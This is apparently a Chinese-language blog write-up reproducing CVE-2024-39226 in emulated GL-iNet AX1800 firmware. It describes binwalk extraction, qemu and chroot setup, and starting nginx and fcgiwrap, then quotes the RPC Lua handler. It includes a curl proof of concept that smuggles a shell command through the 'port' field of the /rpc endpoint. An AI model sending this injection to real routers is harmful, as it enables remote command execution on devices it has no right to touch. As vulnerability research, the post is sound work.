CVE-2024-39226 GL-iNet 路由器RPC漏洞复现

pfwqdxwdd

2026-04-15

cve复现

cve复现, iot

CVE-2024-39226 GL-iNet 路由器RPC漏洞复现

1.环境搭建

固件获取

GL.iNet 固件下载中心 | 路由固件版本：GL-AX1800 Flint 4.5.16

下载普通升级使用的固件

binwalk提取压缩包中的root文件

得到文件系统

32位arm系统

qemu模拟

使用qemu-system-arm模拟

启动后

1
2
3

mount --bind /dev dev
mount --bind /proc proc
chroot ./ ./bin/sh

在chroot 时会遇到

1	Illegal instruction

的报错

在查阅网上资料后，发现可以通过在qemu参数中指定cpu来解决

1	-cpu cortex-a15

但是指定后出现

询问codex后，说是qemu版本过高，编译一个低版本的qemu-system-arm便可执行（或者使用低版本的ubuntu,如ubuntu18）

成功模拟进入系统

启动服务

/etc/init.d目录下发现有nginx服务的脚本

1	/etc/init.d/nginx start

启动服务，会遇到各种报错

需要启动

1 2	/sbin/ubusd & /sbin/procd &

便可成功运行

但是运行成功后404

在/etcuci-defaults/80_nginx-oui中

有替换nginx的配置文件的脚本

执行这个脚本

替换成功

但是访问页面只有白屏

1	./etc/init.d/boot boot

执行这条命令便可访问到页面，但这步可有可无，漏洞复现，web服务启动即可。

2.漏洞分析

这个漏洞限制在本地复现，原因后面会提到

poc:

1	curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'

开启ssh在本地执行

复现不成功

在/etc/nginx/nginx.conf中开启debug

然后启动nginx，访问页面

查看error.log

发现一个fcgiwrap的报错

在vscode全局搜索

发现这个命令的参数

1	/usr/bin/fcgiwrap -c 4 -s unix:/var/run/fcgiwrap.socket

执行此命令便可成功复现

poc请求的是rpc,搜索rpc

在这个文件中发现了rpc的路径对应/usr/share/gl-ngx/oui-rpc.lua

这个文件中，poc中的 “method”:”call” ,对应rpc_method_call函数


local function rpc_method_call(id, params)
    if #params < 3 then
        local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS)
        ngx.say(cjson.encode(resp))
        return
    end

    local sid, object, method, args = params[1], params[2], params[3], params[4]

    if type(sid) ~= "string" or type(object) ~= "string" or type(method) ~= "string" then
        local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS)
        ngx.say(cjson.encode(resp))
        return
    end

    if args and type(args) ~= "table" then
        local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS)
        ngx.say(cjson.encode(resp))
        return
    end

    ngx.ctx.sid = sid

    if not rpc.is_no_auth(object, method) then
        if not rpc.access("rpc", object .. "." .. method) then
            local resp = rpc.error_response(id, rpc.ERROR_CODE_ACCESS)
            ngx.say(cjson.encode(resp))
            return
        end
    end

    local res = rpc.call(object, method, args)
    if type(res) == "number" then
        local resp = rpc.error_response(id, res)
        ngx.say(cjson.encode(resp))
        return
    end

    if type(res) ~= "table" then res = {} end

    local resp = rpc.result_response(id, res)
    ngx.say(cjson.encode(resp))
end